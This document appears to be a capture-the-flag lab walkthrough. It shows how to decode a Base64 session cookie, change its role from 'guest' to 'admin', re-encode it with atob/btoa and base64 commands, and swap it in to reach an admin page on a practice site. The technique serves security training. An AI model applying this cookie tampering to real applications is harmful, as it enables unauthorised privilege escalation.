Step 1: Click on the green button to Start the Lab
Step 2: Hack the URL or IP of the lab
Step 3: Use your skills and logic to find the flags!
A detailed step-by-step guide to solving the lab and capturing the flag.
This lab introduces you to cookie manipulation techniques and how they can be used to bypass authentication mechanisms in web applications.
First, let's understand what we're working with by exploring the website and its authentication mechanism.
Navigate to the target URL using your web browser:
https://hack-the-cookie.tiiny.io
Upon visiting the site, you'll see a login form. Notice that the form already has credentials pre-filled:
These pre-filled credentials suggest that we're meant to use them as a starting point. In real-world scenarios, default or guest accounts often have limited access that we can leverage to gain more privileges.
Let's use the provided guest credentials to gain initial access to the system.
After logging in, you should be redirected to an employee guest interface. This interface likely has limited functionality compared to what administrators can access.
When a web application authenticates a user, it often stores session information in cookies. These cookies are sent with each request to the server and determine what the user can access. By examining these cookies, we might find a way to elevate our privileges.
Now that we're logged in, let's examine the cookies that were set during the authentication process.
To view cookies in your browser:
Alternatively, you can use keyboard shortcuts:
Looking at the cookies, we find one named user_session
with the following value:
eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0IiwiZW1haWwiOiJndWVzdEB0ZWNoY29ycC5sb2NhbCJ9
This long string looks encoded, and its name suggests it contains information about our user session. In web security testing, it's common to examine such values to understand how the application manages user sessions and permissions.
The cookie value appears to be encoded, likely using Base64 encoding which is common for web applications. Let's decode it to see what information it contains.
There are several ways to decode Base64:
eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0IiwiZW1haWwiOiJndWVzdEB0ZWNoY29ycC5sb2NhbCJ9
atob("eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0IiwiZW1haWwiOiJndWVzdEB0ZWNoY29ycC5sb2NhbCJ9")
In a terminal or command prompt, run:
echo eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0IiwiZW1haWwiOiJndWVzdEB0ZWNoY29ycC5sb2NhbCJ9 | base64 -d
After decoding, we can see that the cookie contains a JSON object with user information:
{"user_id":1,"username":"guest","role":"guest","email":"guest@techcorp.local"}
This is a significant discovery! The cookie contains a role
field set to guest
, which likely determines what parts of the application we can access. If we could change this role to admin
, we might gain administrative privileges.
Now that we understand the cookie's structure, let's modify it to elevate our privileges from "guest" to "admin".
We need to modify the JSON object by changing the role
value from guest
to admin
:
{"user_id":1,"username":"guest","role":"admin","email":"guest@techcorp.local"}
Now we need to encode this modified JSON back to Base64:
{"user_id":1,"username":"guest","role":"admin","email":"guest@techcorp.local"}
eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6ImFkbWluIiwiZW1haWwiOiJndWVzdEB0ZWNoY29ycC5sb2NhbCJ9
btoa('{"user_id":1,"username":"guest","role":"admin","email":"guest@techcorp.local"}')
In a terminal or command prompt, run:
echo -n '{"user_id":1,"username":"guest","role":"admin","email":"guest@techcorp.local"}' | base64
Now we need to replace the original cookie value with our modified one.
user_session
cookieeyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6ImFkbWluIiwiZW1haWwiOiJndWVzdEB0ZWNoY29ycC5sb2NhbCJ9
With our modified cookie in place, we need to refresh the page to see if our privilege escalation was successful.
Simply refresh the page by:
After refreshing, the page should now display the admin interface instead of the guest interface. This confirms that our cookie manipulation was successful and we've elevated our privileges from guest to admin.
The admin interface should contain the flag we're looking for. It might be displayed prominently on the page or you might need to look around a bit to find it.
The flag will likely be in a UUID format, similar to:
12345678-abcd-1234-efgh-123456789012
Copy this flag exactly as shown - it's case-sensitive and includes all dashes.
This lab demonstrates several important web security concepts:
Real-World Relevance: Cookie manipulation vulnerabilities are common in real-world applications. Developers sometimes store user roles or permissions directly in cookies without proper validation, allowing attackers to elevate their privileges by simply modifying cookie values.
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.